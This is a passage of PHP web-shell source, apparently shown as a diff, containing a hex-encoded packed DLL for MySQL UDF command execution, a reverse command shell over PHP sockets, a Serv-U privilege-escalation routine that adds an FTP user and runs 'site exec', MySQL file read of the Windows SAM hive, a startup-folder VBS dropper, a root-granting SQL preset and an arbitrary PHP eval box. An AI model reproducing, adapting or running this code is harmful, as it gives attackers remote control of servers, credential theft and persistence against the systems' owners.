A81A274BBBE0C04E724FB027FAD0D03808136C85B00140C0075FFD06C0B23578A101A33AE3CD45FBB2D0D0BB443FF135A12493944BBDD2DA2182140803848068308CDCD76BF5F5EC6030D4344EB73CA2BD36E3260E7FF6A01CF0A090E683BAA479F74411ED101A2358848D12D821A85FF9D468B0F4388443105EB293B700420DEB6250CFF6305160AEB18A55E40D812FFA9193507AD9C7B77BF925B761A750D85115C74F3064942D12EE5E4AC062B4688210250A8EAA9D800F91131357540346A46C42BF87D5BF41F8AE875465757EB533038154C20629236B1F2DBCA6A711D23EB222014A660B0341B48E1FE033130EB651DBA397D147E108AB25936C514105A66B67DF436E1A11D591D161C0286D98CD9181FD84872DA478DC159D22AD3A62018366B5B0CBE3C20732EDB6CB74EC1245E0140503720CA3F408C4C793BDF0F849CD25B6CA014041B9C0324FCF25DAADB2EDE8BC441DC8367EB138DB5D751678BF026118BB5D9F6AD3867DC7466534CDC6121CB9EEB9257F44DEC1AA574A3A6884412D80A7432B06D4B6C5E0D40403E1C78B2C8663713EDD57F1EDA321C0962C321858F2065C814876515F4A1F20BD966B6B336DC895DE08B15483212BDB27DB953D6BDDF74B45664E467749C8F6AB35BA3B30E03EB068C28EDD5618F54D5CC0AB11B88108B71B77179088B2680AD9F44568D4A9E0D7FBA0DBA5580F1491AF30C5E5CC60736942B498BC24E58ED61328118B4ECAC375E2D043E3E8A515E564234632356A53C0497CFC819DF1D1B56495340CEC2C73B028658A3432D24F276607CDD1C490554CC335033E433B263345BC8945D18908DD9968D532C34201BC53619181FE0DB630AD06A15B5CB3EBB15B0107CD3DC57CC0FE16050B3EB0B83DB33ECB6119CF6112949E0565FF670C9DA1C5552F8D7B2703A84933C8AF5CC38680C42EF047AC25F9A51D4E7023A01752E0A1BB1D552F0263A613E0A431D966EE146873A4101191411035BA330D56BFDD51A75555B430BB3FFB090D3D18E016DADCA0B4301070242B5CFD6ED44E94130E01302A86658AD799AAF335BD2CAC9C14A6D42AA5BC98CCC4F56530B4A55B050009C1B201AFFAE023307420FAB0424EBF3775DFE5ABB8C90416E14460FA373F201E6E20204C420753F98FD646C3A0AF38D46FF3B9CB8ACF87B5643BE51EEB60E56485481DF4C03C12580FC8D161DDEBD0A80E17FEB0D811FDED0540440391180C980DE880A81440B8D6686C5C671D0419080E3D60AC0C006A0A8487D065C9C249E5862050D10565D7426E8BC00BF83C410E0AE41C305E3CC0CB568E12EF1C6012D415CEB030A915B4013D4B88110B5DAA5DAD2630883FB0950769225FF2F7D6B2004308819413577DA802100498A178A018878007F8B118F49473BF972F21B365341486FFF948BD6A81E588D39C470CD4143A1D03B5CCF252EB6C1FF46758A274738C474F22C419D1AE324EC85D2E1C5FE4186E00E824A6F1474D21AC0E6FFD1575F3AEB78F0FFBF34019130007F0419C0D96EE2EB15130DC9817888C2C77895FFB541599EEE9067271FD82E760B3E6A602266C4040907B742A68D38CFDA39CB15580B0318AC05224EEBFB55D0C2052241280EABE097CF0B6C112836D1E970DA0C1B1FFF804EB741B35AB6201726828ADDFFDBEE0774217F1D467BFC720638DC770202E638F809D8B517BA35C6F7750DEBD733C908023657B34D9BB9AFE582806D6AE4BF0FF35FA6ED85B50A321926EF2BB446AB2F99EE57EBB68DDE5AC3EC74230BAB1F775165EB3AC0F0596B0979D584B5634DCA0975720271FC08A5C9DE0E5FFECB030051283074512BBC2311EC1A2D75770C920F1DA2C685B7A6EB52DF2F7D8B5BB10EC11AB6D10A5601805E6EBDF54B318065FE0088508845FDF3EB09BAAB41D90DFD0F6C8D4D0AD58B1803165179AD7DD182C16E4F026B53B38059E3450A23B07465BB72251CAE5A80450F8CD5815DB9AAF5490F8FA18A46D52D1FE9DEE83C057C83760A4D405E7D2539DBD187F8787E0BD95FAD6A0AA1A1F4DEE0FE8A045823C667D9EB658B1512DA65E94CB4B6C84A740FA7DF5BD4D630AF88065D0958B60917C5522B5B13566B032CF036BE03B49F572F1A6AE0648FCC20F6AEDA06AD75A5D646D0BE05FD032C37126253CB0BC18C00885DC029C25A0BC839FAAB60287C25F7E1C29DEB025EA105B11D42030985056C351FD31EAACA3EC1CC03580000D37466AAFF0F4D53EE65DD9304DF03E50F08EC03BDE4F2B2F20F0AFF0B050CCF0AB656D003D50302017FB6DF3A1903070602100445000535300050B5EEFF7F2C20283850580708003730305750070F200BD71461DE000860686009780073AE956E08071507001A010E7D7BDDFF0028006E0075006C0129320F6E756C6C6FB7FFDF0A72756E74696D65206572726F72200F0D0A03544C4F07E4BFD95353110E0053494E470044BBFD65ED4F4D4112115236303238082D204BB76F7F7961626C746F20696E6956616C697A0D6865D67EBED961703727376E6F743D0460EFB6FF756768207370616323667B6C6F7769380AB9EC3661066F6E3736ED672079737464357075722BF6DB5AFB76697274752133A5632320630C9B42BED86C285F345F2ABDF6DA7665785C2F5806DCE2E6BEB0935F3139F76F706558313260DBEE736F0F646573632B3888706B6D4624816564193024DF405723376D926FDBADA6AC7468BF612F6C6F636B1B6C8530173464B7865B6B6E612E02A221726D0050D8DAB770406772616D204A6D366829EC852F30394F10E71A8D66412A2B302E2B84EF53C8386172677528735F6DBBF63C303266C16E6E67826F9CB52EB605743A1164E67F4DC3DB422B2D60396615566973AAEFF660FC432B2B2052A04C6962B47279276D0F87B90A2D16450E211150D8656B9CD43AC2002E003CE5ED6D736DE0252C6B6C776E3E1B17EED8F84765744C61324102766550AE75705BDBCE62130F57956426876534BEF0FF7373616765426F78410075732533322E642ADD931252EAB75956035A77CF76670B5A955A0E0B5B8E0392483AAFB9BBB56D904A0064002C204D20086DC9BDB97900632F642F06D74D03FDB5179A4144EE656D626B5B4E6F76C3FE6D930B4F986F0A536570741486A96885416C96711BBEEDF9B941076E6541F369A64D101636172763684665327533BDF7DE7B4A616E0A675F57537BAF7BEF4B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; +} + +function Mysql_m() +{ + extract($_POST); + extract($_GET); + $mysql_hostname = $mysql_hostname?$mysql_hostname : "127.0.0.1"; + $mysql_username = $mysql_username?$mysql_username : "root"; + $post_sql = $post_sql ? $post_sql : "select state(\"net user\")"; + $mysql_dbname = $mysql_dbname ? $mysql_dbname : "mysql"; + if($install){ + $link = mysql_connect ($mysql_hostname,$mysql_username,$mysql_passwd) or die(mysql_error()); + mysql_select_db($mysql_dbname,$link) or die(mysql_error()); + @mysql_query("DROP TABLE udf_temp", $link); + $query="CREATE TABLE udf_temp (udf BLOB);"; + if(!($result=mysql_query($query, $link))) + die('error:create temp table udf_temp error.'.mysql_error()); + else + { + $code=get_code(); + $query="INSERT into udf_temp values (CONVERT($code,CHAR));"; + if(!mysql_query($query, $link)) + { + mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error()); + die('error:insert DLL error.'.mysql_error()); + } + else + { + $dllname = "mysqlDll.dll"; + if(file_exists("c:\\windows\\system32\\")) $dir="c:\\\\windows\\\\system32\\\\mysqlDll.dll"; + elseif(file_exists("c:\\winnt\\system32\\")) $dir="c:\\\\winnt\\\\system32\\\\mysqlDll.dll"; + + if(file_exists($dir)) { + $time = time(); + $dir = str_replace("mysqlDll","mysqlDll_$time",$dir); + $dllname = str_replace("mysqlDll","mysqlDll_$time",$dllname); + } + $query = "SELECT udf FROM udf_temp INTO DUMPFILE '".$dir."';" ; + if(!mysql_query($query, $link)) + { + die("export dll error:maybe dll is no priv or $dir is exists".mysql_error()); + } + else + { + echo 'install dll success'.$dir.'
                            '; + } + } + mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error()); + $result = mysql_query("Create Function state returns string soname '$dllname'", $link) or die(mysql_error()); + if($result) { + echo "install success
                            back"; + exit(); + } + } +} +?> +


                            +
                            Host: +User: +Password: +DB: +   +
                            +
                            +sql statement:
                            + +

                            + +
                            back screen:
                            + +
                            + + +

                            + +
                            reverse cmdshell with php socket;
                            the extension php_sockets should be openned;
                            please check phpinfo();
                            code by Maple-X

                            +
                            +

                            Host:   +Port:  

                            +Linux +Win   + + + + +eof; +echo '

                            '; +} +if($system=="WIN") +{ + $env=array('path' => 'c:\\windows\\system32'); +}else{ + $env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'); +} +$descriptorspec = array( + 0 => array("pipe","r"), + 1 => array("pipe","w"), + 2 => array("pipe","w"), + ); +$host=gethostbyname($host); +$proto=getprotobyname("tcp"); +if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0) +{ + die("Socket Create Faile"); +} +if(($ret=socket_connect($sock,$host,$port))<0) +{ + die("Connect Faile"); +}else{ +$message="----------------------PHP Connect-Back--------------------\n"; +socket_write($sock,$message,strlen($message)); +$cwd=str_replace('\\','/',dirname(__FILE__)); +while($cmd=socket_read($sock,65535,$proto)) + { + if(trim(strtolower($cmd))=="exit") + { + socket_write($sock,"Bye Bye\n"); + exit; + }else{ + +$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env); +if (is_resource($process)) { + fwrite($pipes[0], $cmd); + fclose($pipes[0]); + + $msg=stream_get_contents($pipes[1]); + socket_write($sock,$msg,strlen($msg)); + fclose($pipes[1]); + + $msg=stream_get_contents($pipes[2]); + socket_write($sock,$msg,strlen($msg)); + $return_value = proc_close($process); +} + } +} +} + + } +//serv-u +function su() +{ + $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; +print<<[Exec Command] [Add User]
                            +
                            +
                            SU_Port
                            +
                            SU_User
                            +
                            SU_Pass
                            +END; +if($_GET['o'] == 'adduser') +{ +print<<Username +Password +Directory +END; +} +else +{ +print<<Command
                            + + + +END; +} +echo '
                            '; + if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) + { + echo '
                            '; + $sendbuf = ""; + $recvbuf = ""; + $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; + $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". + "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". + "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; + $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; + $sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10); + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                            "; + $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                            "; + $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                            "; + $sendbuf = "SITE MAINTENANCE\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                            "; + $sendbuf = $domain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                            "; + $sendbuf = $adduser; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                            "; + if(!empty($_POST['SUCommand'])) + { + $exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10); + $recvbuf = @fgets($exp, 1024); + echo "Data receive: $recvbuf
                            "; + $sendbuf = "USER ".$_POST['user']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                            "; + $recvbuf = @fgets($exp, 1024); + echo "Data receive: $recvbuf
                            "; + $sendbuf = "PASS ".$_POST['password']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                            "; + $recvbuf = @fgets($exp, 1024); + echo "Data receive: $recvbuf
                            "; + $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "Data send: site exec ".$_POST["SUCommand"]."
                            "; + $recvbuf = @fgets($exp, 1024); + echo "Data receive: $recvbuf
                            "; + $sendbuf = $deldomain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                            "; + @fclose($exp); + } + @fclose($sock); + echo '
                            '; + } +} + +//mysql statement + +function Mysql_n() +{ + $MSG_BOX = ' '; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; + if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); + else $MSG_BOX = 'Connect to mysql faild '; + } + $downfile = 'c:/windows/repair/sam'; + if(!empty($_POST['downfile'])) + { + $downfile = File_Str($_POST['downfile']); + $binpath = bin2hex($downfile); + $query = 'select load_file(0x'.$binpath.')'; + if($result = @mysql_query($query,$conn)) + { + $k = 0; $downcode = ''; + while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} + $filedown = basename($downfile); + if(!$filedown) $filedown = 'b4che10r.tmp'; + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.strlen($downcode)); + echo $downcode; + exit; + } + else $MSG_BOX = 'Download file faild'; + } + $o = isset($_GET['o']) ? $_GET['o'] : ''; + Root_CSS(); +print<< +
                            +
                            +IP: +Port: +User: +Pass: +Dbname: +
                            +
                            +END; +if($o == 'u') +{ + $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; + if(!empty($_POST['uppath'])) + { + $uppath = $_POST['uppath']; + $query = 'Create TABLE a (cmd text NOT NULL);'; + if(@mysql_query($query,$conn)) + { + if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} + else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} + $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? 'upfile success' : 'upfile faild'; + } + else $MSG_BOX = 'insert into temp table faild'; + @mysql_query('Drop TABLE IF EXISTS a;',$conn); + } + else $MSG_BOX = 'create temp table faild'; + } +print<<
                            Path: +

                            File:  +
                            +END; +} +elseif($o == 'd') +{ +print<<

                            download file: +
                            +END; +} +else +{ +print<< +function nFull(i){ + Str = new Array(15); + Str[0] = "select command Or input manual"; + Str[1] = "select version();"; + Str[2] = "select @@character_set_database;"; + Str[3] = "show databases;"; + Str[4] = "show tables;"; + Str[5] = "show columns from table_name;"; + Str[6] = "select @@hostname;"; + Str[7] = "select @@version_compile_os;"; + Str[8] = "select @@basedir;"; + Str[9] = "select @@datadir;"; + Str[10] = "describe table_name;"; + Str[11] = "select User,Password from mysql.user;"; + Str[12] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C);"; + Str[13] = "select 'testtest' into outfile '/var/www/html/test.txt' from mysql.user;"; + Str[14] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
                            +
                            + + +END; +if(!empty($_POST['msql'])) + + { + $msql = $_POST['msql']; + if($result = @mysql_query($msql,$conn)) + { + $MSG_BOX = 'execute sql statement success
                            '; + $row=mysql_fetch_row($result); + echo ''.""; + for ($i=0; $i'.mysql_field_name($result, $i).""; + } + echo ""; + mysql_data_seek($result, 0); + while ($row=mysql_fetch_row($result)) + { + echo ""; + for ($i=0; $i'."$row[$i]".''; + } + echo ""; + } + echo "
                            "; + mysql_free_result($result); + } + else $MSG_BOX .= mysql_error(); + } +} + echo '
                            '.$MSG_BOX.'
                            '; + return true; +} + +//eval php code +function phpcode() +{ + +print<< +
                            +
                            user define php code:

                            +
                            +

                            +
                            + +END; + $phpcode = $_POST['phpcode']; + $phpcode = trim($phpcode); + if($phpcode){ + if (!preg_match('#<\?#si',$phpcode)){ + $phpcode = ""; + } + eval("?".">$phpcode
                            '; + } + return false; +} +//other db connector +function otherdb(){ +$db = isset($_GET['db']) ? $_GET['db'] : ''; +print<< + +END; + +if ($db=="ms"){ +$mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; +$msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa'; +$mspass = isset($_POST['mspass']) ? $_POST['mspass'] : 'sa123'; +$msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; +$msaction = isset($_POST['action']) ? $_POST['action'] : ''; +$msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; +$msquery = stripslashes($msquery); +print<< +
                            Host: +User: +Pass: +Dbname:

                            + +
                            + + +
                            +END; + +if ($msaction == 'msquery'){ +$msconn= mssql_connect ($mshost , $msuser, $mspass); +mssql_select_db($msdbname,$msconn) or die("connect error :" .mssql_get_last_message()); +$msresult = mssql_query($msquery) or die(mssql_get_last_message()); +echo ''; +echo ''; +echo "\n\n"; +for ($i=0; $i'. +mssql_field_name($msresult, $i); +echo "\n"; +} +echo "\n"; +mssql_data_seek($result, 0); +while ($msrow=mssql_fetch_row($msresult)) +{ +echo "\n"; +for ($i=0; $i'; +echo "$msrow[$i]"; +echo ''; +} +echo "\n"; +} +echo "
                            \n"; +echo "
                            "; +mssql_free_result($msresult); +mssql_close(); +} + } +elseif ($db=="ora"){ +$orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; +$oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; +$orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root'; +$orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456'; +$orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; +$oraaction = isset($_POST['action']) ? $_POST['action'] : ''; +$oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; +$oraquery = stripslashes($oraquery); +print<< +
                            Host: +Port: +User: +Pass: +SID:

                            + +
                            + + +
                            +END; + +if ($oraaction == 'oraquery'){ + $oralink = OCILogon($orauser,$orapass,"(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))") or die(ocierror()); + $oraresult=ociparse($oralink,$oraquery) or die(ocierror()); + $orarow=oci_fetch_row($oraresult); + echo ''; + echo ''; + echo "\n\n"; + for ($i=0; $i'. + oci_field_name($oraresult, $i); + echo "\n"; + } + echo "\n"; + ociresult($oraresult, 0); + while ($orarow=ora_fetch_row($oraresult)) + { + echo "\n"; + for ($i=0; $i'; + echo "$orarow[$i]"; + echo ''; + } + echo "\n"; + } + echo "
                            \n"; + echo "
                            "; + oci_free_statement($oraresult); + ocilogoff(); +} +} +elseif ($db == "ifx"){ +$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root'; +$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456'; +$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; +$ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; +$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; +$ifxquery = stripslashes($ifxquery); +print<< +
                            Dbname: +User: +Pass:

                            + +
                            + + +
                            +END; +if ($ifxaction == 'ifxquery'){ + $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); + $ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg()); + $ifxrow=ifx_fetch_row($ifxresult); + echo ''; + echo ''; + echo "\n\n"; + for ($i=0; $i'. +ifx_fieldproperties($ifxresult); +echo "\n"; +} +echo "\n"; +mysql_data_seek($ifxresult, 0); +while ($ifxrow=ifx_fetch_row($ifxresult)) +{ +echo "\n"; +for ($i=0; $i'; +echo "$ifxrow[$i]"; +echo ''; +} +echo "\n"; +} +echo "
                            \n"; +echo "
